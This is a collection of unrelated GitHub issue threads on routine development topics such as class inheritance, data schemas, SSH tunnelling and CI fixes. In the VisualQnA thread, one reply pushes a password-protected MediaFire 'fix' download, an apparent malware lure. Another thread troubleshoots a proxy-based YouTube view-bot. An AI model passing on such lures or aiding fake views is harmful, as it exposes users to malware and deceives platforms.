Simplify parent method call

Hi
Actually this is the simple and best performance class definition in javascript. I have analised it and compared with other javascript libs.
Now in my opitionion the best would be to simplyfy parent method access from child. For example: if now it is Child.Super.prototype.setAddress.call(this);
make something like this:
this.parent.setAddress.call(this, 'France', city, street);
I will try to do that.

Thanks Alban!
the *"this.parent.setAddress.call(*this, 'France', city, street);" syntax
doesn't work if there are more than 2 inheritance levels (infinite loop).
The access to the parent constructor must be static (no "this").
See more in the section "Extend a class" of http://jiem.github.io/my-class/
Cheers
On Thu Jan 22 2015 at 8:06:33 AM Alban<EMAIL_ADDRESS>wrote:

Hi
Actually this is the simple and best performance class definition in
javascript. I have analised it and compared with other javascript libs.
Now in my opitionion the best would be to simplyfy parent method access
from child. For example: if now it is
Child.Super.prototype.setAddress.call(this);
make something like this:
this.parent.setAddress.call(this, 'France', city, street);
I will try to do that.
--
Reply to this email directly or view it on GitHub
https://github.com/jiem/my-class/issues/8.

Yes actually I know that, I had some days headache about that, trying
different test and approaches, at first I thought I have done it but when I
added the third level it blow up in infinite loop.
Even it is not handy for the moment yours is the best method for
performance. John Resig one is nice but very slow. I have notice that big
libraries like Ckeditor uses some even more slow definition of class, but
actually very rare in their code.  Most of their code is based on pure
prototype.
On Thu, Jan 22, 2015 at 5:39 PM, Jie Meng-Gérard<EMAIL_ADDRESS>wrote:

Thanks Alban!
the *"this.parent.setAddress.call(*this, 'France', city, street);" syntax
doesn't work if there are more than 2 inheritance levels (infinite loop).
The access to the parent constructor must be static (no "this").
See more in the section "Extend a class" of
http://jiem.github.io/my-class/
Cheers
On Thu Jan 22 2015 at 8:06:33 AM Alban<EMAIL_ADDRESS>wrote:

Hi
Actually this is the simple and best performance class definition in
javascript. I have analised it and compared with other javascript libs.
Now in my opitionion the best would be to simplyfy parent method access
from child. For example: if now it is
Child.Super.prototype.setAddress.call(this);
make something like this:
this.parent.setAddress.call(this, 'France', city, street);
I will try to do that.
--
Reply to this email directly or view it on GitHub
https://github.com/jiem/my-class/issues/8.

—
Reply to this email directly or view it on GitHub
https://github.com/jiem/my-class/issues/8#issuecomment-71050976.

--
www.albanx.com
www.albanx.com/ajaxuploader


Come up with a way to allow for localization of species

For Global and Agency Administrators only.
Agencies -> Form Data -> species
Right now this is just a text entry. However, we would like to be able to globally follow a species. As this is a free-form text field, an agency or global administrator can put anything in this field. We want to associate it with a species - for example, Orcinus orca is the Latin name for "Killer Whale", which in French is "Orque".
This will take a lot of work to implement and it would be great if the mobile apps did not have to be changed (I am not sure that's possible, however!).

One idea is to store each species as an object instead of a string - right now "species" is an array in the "MenuData" collection, for example:
Current format:
> db.MenuData.find({agency: "Test Agency"}).pretty()
{
	"_id" : ObjectId("xxxxxxxxxxxxxxx"),
	"agency" : "Test Agency",
	"species" : [
		"Atún negro",
		"Marlín Negro",
		"Tiburón Cornuda Gigante",
	],
       "activity": [ ....

But if they were stored as objects, they could be something like this:
{
	"_id" : ObjectId("xxxxxxxxxxxxxxx"),
	"agency" : "A Spanish Agency",
	"species" : [
		{ local: "Atún negro", latin: "Katsuwonus pelamis" },
                 { local: "Marlín Negro", latin: "Makaira indica"},
                 { local: "Tiburón Cornuda Gigante", latin: "Sphyrna mokarran"},
	],
       "activity": [ ....

{
	"_id" : ObjectId("xxxxxxxxxxxxxxx"),
	"agency" : "An English Agency",
	"species" : [
		{ local: "Skipjack Tuna", latin: "Katsuwonus pelamis" },
                 { local: "Black Marlin", latin: "Makaira indica"},
                 { local: "Great hammerhead", latin: "Sphyrna mokarran"},
	],
       "activity": [ ....

That way, we can cross-reference using MenuData.species.latin, but display using MenuData.species.local.
This would change how the boarding records look, though only slightly. Here's how the species show up in the boarding reports right now:
> db.BoardingReports.findOne()
{
	"_id" : ObjectId("60a5696793e5d06ad86dde58"),
	"agency" : "WildAid",
	"inspection" : {
		"activity" : {
			"name" : "Fishing"
		"actualCatch" : [
			{
				"fish" : "Skipjack Tuna",
				"number" : NumberLong(1),
				"unit" : "lbs",
				"weight" : 1
			},
			{
				"fish" : "Black Marlin",
				"number" : NumberLong(2),
				"unit" : "lbs",
				"weight" : 40
			}
		],
...
...rest of inspection and other fields...
...
	"date" : ISODate("2021-05-19T19:39:19.383Z")
}

And it could be transformed to
> db.BoardingReports.findOne()
{
	"_id" : ObjectId("60a5696793e5d06ad86dde58"),
	"agency" : "WildAid",
	"inspection" : {
		"activity" : {
			"name" : "Fishing"
		"actualCatch" : [
			{
				"fish" : "Skipjack Tuna",
				"latin" : "Katsuwonus pelamis",
				"number" : NumberLong(1),
				"unit" : "lbs",
				"weight" : 1
			},
			{
				"fish" : "Black Marlin",
				"latin" : "Makaira indica",
				"number" : NumberLong(2),
				"unit" : "lbs",
				"weight" : 40
			}
		],
...
...rest of inspection and other fields...
...
	"date" : ISODate("2021-05-19T19:39:19.383Z")
}

In this example, the mobile apps would have to be changed to parse the new MenuData format, and store both the fish and the latin name in the BoardingReports collection. And of course anything in the web app that references MenuData.species, or BoardingReports.inspection.actualCatch would need changing.
(one way to do this would be to have a new field in MenuData, called "catch", which can be used by the mobile apps when they're ready, and "species" could be removed when both mobile apps have implemented it.
I'm open to other options of course!


VisualQnA missing opea/lvm-tgi

While deploying VisualQnA on Gaudi from /GenAIExamples/VisualQnA/docker/gaudi, the script fails because opea/lvm-tgi:latest Image is not avaiable on docker repository to be pulled.
docker build --no-cache -t opea/lvm-tgi:latest --build-arg https_proxy=$https_proxy --build-arg http_proxy=$http_proxy -f comps/lvms/Dockerfile_tgi .
[+] Building 0.0s (0/0)                                                                                docker:default
ERROR: resolve : lstat comps: no such file or directory

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

I think this is a path issue. Can you share the directory from which you are running this command? @ezelanza

Yes, thanks!


Question: There a way to use RDP with SISH ?

Right now I'm using ngrok tcp 3390 I change the default port of RDP on my laptop.
Ngrok generate a tcp connection to ngrok server and I can access RDP on my laptop.
MYLAPTOP -> NGROK <- accessing mylaptop with RDP Client using the url provide by ngrok.
I already setup sish locally, I successfully ssh forward tcp 3390 with ssh command.
ssh -R mylaptop:3390:localhost:3390 sish.mydomain.blah

Starting SSH Forwarding service for tcp:3390. Forwarded connections can be accessed via the following methods:
HTTP: http://....
HTTPS: https://...

Please help!!!
Thx in advance!

Hey @metabsd,
Yep is is possible! Just drop the mylaptop part of the ssh command to look like:
ssh -R 3390:localhost:3390 sish.mydomain.blah

sish will then just forward a raw TCP connection from sish.mydomain.blah:3390 -> localhost:3390. If you would rather this connection not be exposed to the open internet, you can use alias forwarding which just exposes the connection internally to sish. Then, you can create a tunnel like the following:
ssh -R mylaptop:3390:localhost:3390 sish.mydomain.blah

And access the RDP service on another laptop by doing a local port forward to sish
ssh -L 3390:mylaptop:3390 sish.mydomain.blah

And connecting to localhost:3390 via RDP. Please note that tcp aliases need to be explicitly enabled
I'll leave this open until you close it just in case you have more questions, you can also find me in #sish on Freenode or Libera

Thx @antoniomika for helping me via Libera #sish
This is my docker-compose.yml file.
I use port 2222 because I installed ssh on my VM so I have to use different port.
Also I used container tag main to get some other bug fix from @antoniomika
version: '3.7'

services:
  sish:
    image: antoniomika/sish:main
    container_name: sish
    volumes:
      - ./keys:/keys
    command: |
      --ssh-address=:2222
      --private-key-location=/keys/ssh_key
      --bind-random-aliases=false
      --bind-random-ports=false
      --bind-random-subdomains=false
      --domain=sish.mydomain.blah
      --tcp-aliases=true
      --idle-connection=false
      --private-key-passphrase=supersecretpassphrase
    network_mode: host
    restart: always

My use case is to be able to use RDP Client. Destination == the RDP server, Source == RDP Client side.
Destination: ssh -R mylaptop:3390:localhost:3390 sish.domain.blah -p 2222
Where mylaptop is the alias, 3390 is the port I use for RDP Server(I changed the default one) and -p 2222 is the port my container expose for ssh.
Source: ssh -L 3390:mylaptop:3390 sish.domain.blah -p 2222
At the end I use RDP Client and connect via localhost:3390.
I don't have to open anything on internet and I don't need a public real DNS. I use dnsmasq in my local network.
This is awesome from @antoniomika . Great Project! Great work!
Thx!!!


[MavenV2, MavenV3]: Fixed bug when task succeeds on tests failure

Task name: MavenV2, MavenV3
Description:  Maven task succeeds when tests fail. It is caused by incorrect exception handling on last stage of build.
Furthermore, tests with bad symlinks also throw an unhandled exception, that is not handled in task build function. Now, incorrect symlinks are handled in the right way. The build will fail if tests don't finish successfully.
Documentation changes required: No
Added unit tests: No
Attached related issue:  #14514
Checklist:

[X] Task version was bumped - please check instruction how to do it
[X] Checked that applied changes work as expected
[X] There’s no risky dependency updates
[X] Changes has been tested
[X] Enough test coverage for changes, and current test coverage for task doesn't look poor
[X] We understand how tasks is working, how changes affect task behavior
[X] There is no breaking changes
[X] There is no any other concerns
[X] I have not discovered any new uncovered test/use cases

:x: Maven V3 fails when tests are failed by bad symlink
:x: Maven V2 fails when tests are failed by bad symlink
✔ Maven V3 succeeds when tests are passed
✔ Maven V2 succeeds when tests are passed
Regression:
✔ Maven V2, Maven V3 succeed for canary app, there is no regression

Manually tested these changes in this pipeline https://dev.azure.com/v-vryzhov/test/_build?definitionId=2 (#20210326.7, #20210326.6).
Tested MavenV2 and MavenV3 version with a basic java project. Build worked as expected: tests fail and the task fails too.


Investigate methods to securely pull secret credentials/variables to GAE

Ideally we'd like to avoid baking sensitive information to our application deployment at rest. Is there a way to securely pull in environment variables and secrets to app engine's application securely?
Ideal solutions

Hook GAE to GCP secret manager and present the secrets to app engine as an environment variable
Create a small startup script that queries the secret manager API in the code which then pulls the key values and sets it as environment variables, then start the rest of the application

After some initial searching, I'm not seeing much that connects GAE to GCP secrets manager on startup for env variables. This might need to be a small Node startup script.

I agree, I think we should also pursue the startup route. We'll essentially need these 2 things:

A startup script that runs before the main library app that grabs secrets based on a prefix (i.e /production/content-library/OAUTH_CLIENT_ID) and sets it in the running app's environment variables
IAM modifications to the GAE service account so it has permissions to access the secret manager API

Terraform changes for GAE service account:
Role name: roles/secretmanager.secretAccessor
In Dev, needs to go on<EMAIL_ADDRESS>In Prod, needs to go on<EMAIL_ADDRESS>

#45 did part of this

#49 also did part of this.
Would we call this ticket done?

yes!


NEXT-00000 - Use correct path to invalid price fields in error messages

1. Why is this change necessary?
When you update product.purchasePrices via API with an invalid payload, the path says, that /price is wrong. But it is not about the price property.
2. What does this change do, exactly?
Replace a hardcoded value with a variable one.
3. Checklist

[x] I have rebased my changes to remove merge conflicts
[x] I have written tests and verified that they fail without my change
[x] I have created a changelog file with all necessary information about my changes
[ ] I have written or adjusted the documentation according to my changes
[ ] This change has comments for package types, values, functions, and non-obvious lines of code
[x] I have read the contribution requirements and fulfil them.

🤖 Generated by Copilot at 3bd9436
This pull request fixes a bug in the PriceFieldSerializer class that caused incorrect validation paths for price fields with custom property names. It also adds a changelog entry and a test case for the fix.

🤖 Generated by Copilot at 3bd9436

Add a changelog entry for the fix (link)
Use the property name of the field in the price serialization errors instead of a hardcoded price string (link, link, link, link)
Update the PriceFieldSerializerTest class to check the validation path with the property name (link)

Thank you for merging :)


Use central reference and handover rights

The intention is to differentiate between version 2 and 3. I would suspect that version 4 would be something entirely new, much like version 3. Else it is just a continuation of version 3. Even if not, a sed command under Linux does the trick to update the version number in that case.


Contigs missing in the output

HI,
I noticed that some contigs are missing in the final output. Are contigs with insufficient coverage thrown out?
Could you include those or write them in an extra file?
Thanks
Chris

Hi Chris,
We're planning to put in an option to write contigs which weren't corrected (due to lack of mapped reads) to an additional file.
I'll post here as soon as we implement it.
Best regards,
Ivan.

Until then you could use grep/or a custom script to find the missing contigs.
I'll get back on this soon.
Ivan

Version 1.0.0 has an option for this (although, it prints the unpolished contigs together with polished ones):
-u, --include-unpolished
    output unpolished target sequences (each sequence contains a tag in
    its header (C:<float>) which represents the percentage of polished
    windows)


wait in ExecStart before out stream finished

For https://github.com/kubernetes/frakti/issues/120
gRPC exec server side should only return after send last
message(either grpc err or EOF) to client side
/cc @feiskyer @gnawux
Signed-off-by: Crazykev<EMAIL_ADDRESS>

retest this please, hykins

retest this please, hykins

@feiskyer Updated and CI passed.

LGTM


Story for unowned pointers in collections

Both of the collection types (NSArray and NSMutableDictionary) only accept owned pointers to elements. This makes sense, but there are many types that are always shared (NSURL, NSImage, etc), which means we cannot store these elements in any collections. This prevents using some APIs and just generally is a bit weird.
Why are those types always unowned, and what would need to happen in order to properly add them to a collection without leaking?

Can you provide a situation you're running into where this is causing friction? Truth be told, I've long considered NSArray and NSMutableDictionary to be more internal in nature and don't expect that one would reach for them for this kind of thing. I'm open to changing my mind though.
NSURL could be redesigned at this point, as some of the logic in and around that stems from a super early implementation that was mostly focused on getting file pickers working.

Take duplicateURLs:completionHandler:. It's first argument is an array of URLs (not constructible) and it returns (via completion handler) a dictionary <NSURL, NSURL> (which is also not constructible/~kind of readable).
There are definitely more APIs of this type that are currently out of reach.

Ah, I see. So this is where the thought process differs. I always envisioned that cacao would have something akin to:
/// pseudocode~
pub struct Workspace(...);

impl Workspace {
    pub fn duplicate_urls<U, F>(urls: Vec<U>, completion: F) { }
}

Aka the Cocoa-ness would be massaged away with an actual Rust layer.
Now with that said, this isn't the first time people have found this annoying, so I don't mind fixing up the types in the foundation module to be more friendly for use outside of cacao so that we can enable these kinds of scenarios. It probably makes sense to combine #100 with this issue and just formulate a revamped approach to it all.
I don't have time to do it myself at the moment, but I'm happy to treat this issue as a working issue/collab space for it.

Actually I agree with you completely. This came up because I started to build out the duplicate_urls implementation and found out that there weren't existing primitives for me. I suppose I could figure out how the shared ref counts are supposed to work and manually handle it in the method, but it would be much nicer if the collections themselves supported it :P
I will (probably) do the work; I'm just unsure what needs to happen because the specifics of how memory is being managed in this bridge is not apparent to me.

Hmmm, well let's maybe start with NSURL and devise a better setup for that. It's used in less areas comparatively but should have a decent combination of scenarios to test against.
I'm wondering if the current Id and ShareId types make this more confusing to work through than they need to. I've got a few ideas rolling around in my head that I'd need to find time to mess around with, but I think we can figure something out. Something like std::borrow::Cow but for ObjC types.
Actually... @madsmtm your work over in objc2 - does it touch on Id and ShareId? It's been a bit since I looked but I get the feeling it does... would love any input you have as well if you're down to give it. Maybe there's some overlap that'd make sense for me to buckle down and finish #30. :)

There's a lot of work done on this in objc2, see https://github.com/madsmtm/objc2/issues/265 and https://github.com/madsmtm/objc2/pull/419, thanks for pinging me!
I'm still working on more "user-level" documentation on this (stashed away somewhere locally), but the gist is to realize that mutability is (almost [1]) always something tied to the class, not to the usage site. So e.g. NSMutableArray<NSString> is always mutable, and it's elements are always immutable, there is no other choice. ShareId is gone, and Id just picks the right configuration depending on the type.
[1]: Technically you could choose to use a shared mutability approach on e.g. NSMutableString, if you eschewed thread safety, the ability to safely access -UTF8String and iteration - but this was deemed out of scope for now at least, though my approach hasn't seen enough use (yet) to know if the use case is there.

Interesting... I do like that approach actually.
I think it probably makes sense to go down the rabbit hole of getting the ObjC2 stuff merged and sorted before doing too much else (at this level of things) since it might be rough if we bake in a ton of assumptions now or end up redoing the work you've done elsewhere.

Agreed.
A quick status update on that, I'm slowly getting closer to something where I feel it is stable enough that people can start depending on it. I expect it to be ready at the end of the next month, though that very much depends on the amount of free time I get.


Views Are not shown in realtime and also no watch time is added.

i am using the software on RDP and its running fine but views are not counted also not shown in the realtime.

Post ss of config.json and terminal output

{
"http_api": {
"enabled": true,
"host": "<IP_ADDRESS>",
"port": 5000
},
"database": true,
"views": 50,
"minimum": 85.0,
"maximum": 95.0,
"proxy": {
"category": "f",
"proxy_type": false,
"filename": "GoodProxy.txt",
"authentication": false
},
"background": false,
"bandwidth": true,
"threads": 6
}

its showing the its watching the videos but views are not counting in youtube realtime and also on count page.

Free proxies could be the issue here. Anyway, I can see you have views on that video although your first ss shows 1 view only.

yeah thats the issue i am talking about.

But views are showing on youtube?

yes sometimes. but not for every video.


Update AutumnLeavesWeatherEffect to Foundry VTT 0.7.9

Which class should be updated?
AutumnLeavesWeatherEffect
For which version should the class be updated?
Foundry VTT 0.7.9

Taking this

Fixed by #312


[PRM-2460] - Adjusted error message for tech issues end date

Mobile view:

Desktop view:

AT's: https://github.com/hmrc/penalties-acceptance-tests/pull/253


Distribution modifications modify torch classes causes bug

The standardized distribution interface in distributions.py modifies the standard pytorch distributions like
FixedCategorical = torch.distribution.Categorical
FixedCategorical.sample = lambda self: ...

This changes the actual torch class for any other consumers of those classes. In particular, I had a bug where I wanted to use the sample_shape parameter of sample and there is no sample_shape argument in the lambda for it, so it caused a runtime error. It would be nice if that could be added, but the better, safer thing to do is just have FixedCategorical and related be subclasses.
class FixedCategorical(torch.distribution.Categorical):
    def sample(self):
        ...

I've done this locally and would be willing to submit a PR if the maintainers don't think this will break anything.

I will accept a PR.


[CI] Remove tests_macos_gitlab_amd64 from the MQ

What does this PR do?
This PR removes the tests_macos_gitlab_amd64 job from the MQ.
Motivation
It was mistakenly added with #28317.
We should wait a bit since it might not be stable.
Describe how to test/QA your changes
Possible Drawbacks / Trade-offs
Additional Notes

/merge

/merge


Restrict changes to "Access" through work settings

Feature Request
Users should not be able to arbitrarily change the access setting for a work after it is published. Users should be able to change Penn State Only works to Public, but not to change Public works to Penn State Only.
Describe the solution you'd like

For non-Admin users, the "Access" setting on the work/collection settings page should be a toggle that is disabled if the work is already public.
For Admin users, the toggle is always enabled.
if the work is public, Add a message: "Public works can be changed to Penn State Only by request."

I'd prefer a more direct message:

This work is Public. Access can be changed to Penn State Only by request.


Show last modified time

For all of the "Last Modified By" fields, it would be cool to be able to see the time that it occurred.
This could be an additional column, but to save screen space having it display onhover would probably be even better.

It's too much pain to use actual ObjectIDs in Meteor and I don't see this happening anytime soon. Closing for now.


Inline example paga

adding an inline example plot for sc.pl.paga()
See #1664

Hm, I am a bit lost wrt to the checks failing @giovp
the doc build doesn't show any logs and travis fails because of black complaining about scanpy/tools/_sim.py and some version checking problem. None of this seems related to my PR 🤔

I don't think igraph or louvain are actually being installed on readthedocs.
I think you'll need to modify the .readthedocs.yml for this. But not calling louvain could also work.

looks good, thanks @le-ander

I've added igraph to #1809 and seems to work, will ad it here as well

Thanks a lot, giovanni!


Price Importer > Improve docs > net or gross?

Hi,
actually I cant find proper informations about that. Looked here, also:
http://dev.sphere.io/http-api-projects-products.html#add-price
Is the price I have to import net or gross?

This is something that depends on the project setting... I guess... but the importer simply imports the price to the product as it gets it.

well cant find any related setting in the merchant center, will test what it means when setting 1 euro with 0.19 as default tax. I think 1 euro is gross, then.

@emtii The price calculation is done by the cart, there is no setting for that. You usually provide your normal price, then based on the tax settings and so on the cart will calculate the correct amount.
Does that answer your question?
/cc @mmoelli

Right, you define at the tax rate if it is already included in the price or if it will be added.
See includedInPrice at http://dev.sphere.io/http-api-projects-taxCategories.html#tax-rate

Thank you very much, that's totally fine for me. Still learning the "commerce-tools way", but love it! :)


The website is dead!

Tried to visit the website, but it just brings me to a "Server not found" message, sob.

Are you sure? I just checked and it's working.

Are you sure? I just checked and it's working.

Huh, weird, it didn't work on my machine before.

Visited the site in chromium and it gave me a "This site cant be reached" error.

Can you give me a little bit more specifics? So I can troubleshoot a little bit. If not, there's not much I can do.

Closing due to inactivity.

I forgot this even existed xd, anyway I was using windows 11 with floorp
(modified firefox), I'll send the addon list soon
On Mon, May 6, 2024, 10:34 Iván Pérez @.***> wrote:

Closing due to inactivity.
—
Reply to this email directly, view it on GitHub
https://github.com/taichikuji/discordid/issues/40#issuecomment-2096186026,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BA6EV6MEJBOMKBVLHSQZCS3ZA6II5AVCNFSM6AAAAABGP4U6LOVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDAOJWGE4DMMBSGY
.
You are receiving this because you authored the thread.Message ID:
@.***>


Remove type assertions and ts-ignore from compose function

Remove type assertions and ts-ignore from compose function

Hi! Thanks for the contribution, and nice to meet you outside of reddit :)
I've checked your solution to my comment on line 25 of compose.ts locally, and it seems to be working fine, so that's a good thing.
If you don't mind, I'll leave some comments so that you can complete your idea in terms of this project. Otherwise, I can step in myself and finish this PR of yours.

What I need to do in order to finish this PR?

Oh, and one more thing – fnts follows the conventional commits guidelines to allow for automatic versioning and changelog generation. Make sure to write your commit messages according to those so that they fit nicely into the already existing system.

Hey @captain-yossarian!
I had some time to think more about the changes awaiting for review and decided to jump in and clean up the code a bit.
I've basically fixed my own comments above and tried to follow your idea a bit further into this final implementation.
Please, take a look, and I'll merge this if you're ok with the final result.

Hi @drizzer14 your changes are good. Thank you for asking. Looking forward to contribute more into your project

@drizzer14 немає за що!


Revert "[adc_ctrl/dv] Added counter tests"

This reverts commit fe294ca0b6e02ff8f3f9d87e9ba54579139edc0e, which
breaks CI.
Hi @NigelScales! Looks like we saw some merge skew with #11034 and it's breaking CI now that it's merged. I'm proposing reverting it for now and we can re-do it with a tweak to fix things when ready.
Marking as P0 since CI is currently broken.

I'll wait for private CI to pass and then will merge.


fades 5 (new formula)

All Submissions:

[x] Have you followed the guidelines in our Contributing document?
[x] Have you checked to ensure there aren't other open Pull Requests for the same update/change?

You can erase any parts of this template not applicable to your Pull Request.
New Formulae Submissions:

[x] Does your submission pass
brew audit --strict --online <formula> (where <formula> is the name of the formula you're submitting)?
[x] Have you built your formula locally prior to submission with brew install <formula>?

@dunn thanks for the references!
Updated.

any updates here?

Looks good! Will merge when green.

@BrewTestBot test this please

Merged. Thank you for your contribution to Homebrew!


Can not download file in Transmission client

Hi! I try to download torrent from Transmission client, but all attempts fails. I use both webtorrent and webtorrent-hybrid modules on node and electron, but Transmission still not found peers. For example, this is simple script:
(new require("webtorrent")()).seed("some-file", (torrent) => {
    torrent.on('warning', (err) => console.log(err));
    torrent.on('error', (err) => console.log(err));

    console.log(torrent.magnetURI);
});

WebTorrent Desktop download file if i use webtorrent-hybrid on node or webtorrent on electron, but Transmission not working in any case. But if download first in WebTorrent Desktop and then add in Transmission, all works (that means this is not network trouble).
What i do wrong? I need upload file to a server (where used Transmission) in electron or nw.js app.

Using torrents to upload files to your server doesn't seem like the most reliable tool for the job, to be honest. Torrents aren't ideal for 1-to-1 communication. They excellent when there are lots of people who want or have the same file.
That said, I think this issue is caused by you not waiting long enough before initiating the download from Transmission, since it takes some time to announce the torrent to the DHT. Try waiting for the dhtAnnounce event before adding the magnet url to Transmission.
You can also improve the reliability if you specify some working tracker servers as the announce option to client.seed():
client.seed('some-file', { announce: [ 'tracker_url', 'tracker_url2' ] }, callback)


Update deps to support go 1.23

coverage: 73.276%. remained the same
when pulling 2dd6b950b1df07bccb53086c9d95ca30d5e48057 on update_deps_122
into 27e8251d11ba0a08c9b576fc04d61c1c7ba9b500 on master.


FREE EVERYONE IN THE ALGORITHIM REPOSITORY

New users cannot comment. This is evil.

This isn't really relevant to the twemoji project

I know.


Suse systems prereqs + HA/etcd installs support

This work started as part of the openSUSE hackweek 21 project: https://hackweek.opensuse.org/21/projects/extend-k3s-ansible-support-with-new-functionalities-or-fork-slash-create-new-one
This commit includes the work done in these 2 branches:

multiserver-HA-etcd
SUSE_systems_prereqs

HA multiserver deployments with etcd are now supported by specifying the hosts under [multiserver] in the hosts.ini and the arguments can be passed in the dedicated variable extra_multiserver_args independently from the master node. Example of a multiserver HA etcd installation is:
[master]

<IP_ADDRESS>

[multiserver]

<IP_ADDRESS>

<IP_ADDRESS>

and
extra_server_args: "--cluster-init"
In inventory/sample/group_vars/all.yml
The prerequisites for *SUSE systems has been added, now the installation of k3s is supported without disabling firewalld which makes it more suitable for production environment.
Thanks to the k3s-on-prem https://github.com/digitalis-io/k3s-on-prem-production/tree/main/roles/k3s-dependencies for the inspiration some pieces of code have been reused here.
Firewalld config and rules are removed when reset.yml is run. The config will be fully rolled back to its original state.

I've been looking over examples that use kube-vip to get a VIP for the cluster itself. I found techno-tim's repo that seems largely based on this one, however it takes a different approach to the inventory which might be nicer to follow.
To be clear, I'm only suggesting this PR take inspiration on the inventory and scripting parts that techno-tim uses. I am not suggesting that this repo add kube-vip features in this PR.
Instead of adding an additional group in the hosts file, they simple use the master list to enumerate multiple masters. Then whatever IP is the first one in the list is treated as the "bootstrap master".
Overall I think the benefit there are:

Keeps all master servers in a single group,
Does not introduce a new host group with unique set of scripts,
Lowers duplicate code between the master/tasks and multiserver/tasks file.

I think with some basic refactoring this PR could be massaged to use this method. Beyond the listed benefits that may make it easier for end-users, a side effect would be less new files being added by this PR.

thanks a lot for the feedback @mallardduck !
I did not know about techno-tim fork i will take a look at that.
I actually thought that having a multiserver dedicated group would have been beneficial when it comes to passing different parameters than the master like let's say in the case you wanted to install etcd on standalone server.
However i don't think i have tested all the possible scenario.
I am going to do some more digging and i'll come back with feedback!

thanks a lot for the feedback @mallardduck !
I did not know about techno-tim fork i will take a look at that.
I actually thought that having a multiserver dedicated group would have been beneficial when it comes to passing different parameters than the master like let's say in the case you wanted to install etcd on standalone server.
However i don't think i have tested all the possible scenario.

Closing in favor of https://github.com/k3s-io/k3s-ansible/pull/210


[DoNotMerge] ISubject --> INPC support

What kind of change does this PR introduce? (Bug fix, feature, docs update, ...)
This add ISubject combinators

Switch
Select
CombineLatest

for making transformations on subjects composable. For example to make a system of configuration scaled units this unit test show how it could be done.
    [Fact]
    public async void SubjectObservableConstraintCombinatorsShouldWork()
    {
        const double mtoinches = 39.3701;
        const double mtoyard = 1.09361;

        IObserver<Option<Exception>> errors = Observer.Create<Option<Exception>>(e => { });

        // Imagine this to be a user preference somewhere. We
        // could grab this with an IOC discovery or whatever.
        var scale = new BehaviorSubject<double>(mtoinches);

        // This is our model. We always work in units of meters
        // of course.
        var model = new BehaviorSubject<double>(1); // in meters

        // This is our view model. It should map to the model via
        // the user preference ``scale``.
        ISubject<double> view = model.CombineLatest(scale, Converter.Multiply, errors);

        // Check that the view is correct initially
        Assert.Equal(mtoinches, (await view.FirstAsync().ToTask()));
        view.OnNext(mtoinches * 3.0);
        Assert.Equal(3.0, (await model.FirstAsync().ToTask()));

        // Change the user preference to yards
        model.OnNext(1.0);
        scale.OnNext(mtoyard);

        // Check the view is now in yards
        Assert.Equal(mtoyard, (await view.FirstAsync().ToTask()));
        view.OnNext(mtoyard * 5.0);
        Assert.Equal(5.0, (await model.FirstAsync().ToTask()));
    }

As well the following helpers are available
SubjectToPropertyHelper
Extends the idea of ObservableToPropertyHelper except this allows RW properties to be
generated from subjects.
    public static SubjectAsPropertyHelper<TRet> ToReadWriteProperty<TObj, TRet>
        ( this ISubject<TRet>          subject
        , TObj                         This
        , Expression<Func<TObj, TRet>> property
        , TRet                         initialValue      = default(TRet)
        , bool                         deferSubscription = false
        , IScheduler                   scheduler         = null ) where TObj : IReactiveObject

and
TwoWayBindTo
Allows binding of subjects to INPC properties
    public static IDisposable TwoWayBindTo<T>
        ( this ISubject<T> modelSubject
        , ISubject<T> viewSubject
        , Func<T, bool> validateView = null
        , IScheduler scheduler = null
        , IObservable<Option<IObservable<Unit>>> updateViewOn = null
        , IObservable<Option<IObservable<Unit>>> updateModelOn = null
        )

and
PropertySubject
Allows generates of subjects from INPC properties
    /// <summary>
    /// Generate a subject from an INPC property
    /// </summary>
    public static ISubject<TValue> PropertySubject<TObject, TValue>
        ( this TObject This
        , Expression<Func<TObject, TValue>> property
        , bool debounce = true
        )
        where TObject : class

What might this PR break?
It only adds new features
Please check if the PR fulfills these requirements

[x ] Tests for the changes have been added (for bug fixes / features)
Maybe coverage is not enough
[ ] Docs have been added / updated (for bug fixes / features)
No docs updated. This is really just a request for comment at the moment.

It would be nice if there would be a comment, a rejection or something here. Makes me feel the project is dying.

Don't think I'm getting it. I'd appreciate a simple example of what is impossible/hard to achieve today without this infrastructure, and how this helps achieve it.

It's composable two way binding binding much in the same way that RX is
compos able 1 way binding. The example is in the test case I think. You
want to have configurable two way binding between a viewmodel in display
units and a model in meters. The display units can change, the user input
may change or the model might change. Keeping it all consistent is fiddly.
The combinators make this easier.
It's certainly possible to do without much in the same way it's possible to
do RX with just callbacks.  Note that the two way binding methods in RXUI
are not really composable so doing clever stuff with converters that change
behaviour due to other inputs becomes tricky.
On Fri, 9 Mar 2018, 8:26 AM Kent Boogaart<EMAIL_ADDRESS>wrote:

Don't think I'm getting it. I'd appreciate a simple example of what is
impossible/hard to achieve today without this infrastructure, and how this
helps achieve it.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/reactiveui/ReactiveUI/pull/1571#issuecomment-371734724,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AABE8lDYLuQOyfAUAxeijJSmVjK6iksXks5tci6XgaJpZM4SKmyl
.


Post successful setup of ohif-orthanc in arm64 after selecting the study bad request is getting triggered I am sharing the curl with you

Describe the Bug
curl 'http://localhost:3000/dicom-web/studies/<IP_ADDRESS>.1<IP_ADDRESS>.788780.868487.80674849.2016032206524560/metadata'
-H 'sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"'
-H 'Accept: application/dicom+json, multipart/related; type=application/octet-stream; transfer-syntax=; transfer-syntax='
-H 'Referer: http://localhost:3000/viewer?StudyInstanceUIDs=<IP_ADDRESS>.1<IP_ADDRESS>.788780.868487.80674849.2016032206524560'
-H 'sec-ch-ua-mobile: ?0'
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36'
-H 'sec-ch-ua-platform: "Windows"'
Steps to Reproduce
in arm64 setup, working fine on windows
The current behavior
mentioned above
The expected behavior
it should not get triggered
OS
arm64
Node version
16.20.2
Browser
Brave and firefox

Hi @sedghi, Were you able to reproduce the issue?

What happened? can you update?

I tried northanc docker to use new recipe based on nginx from one of your recent commit https://github.com/OHIF/Viewers/pull/4217, I was able to solve this problem.


Grammar: else clause cannot have empty query

Actual Behavior
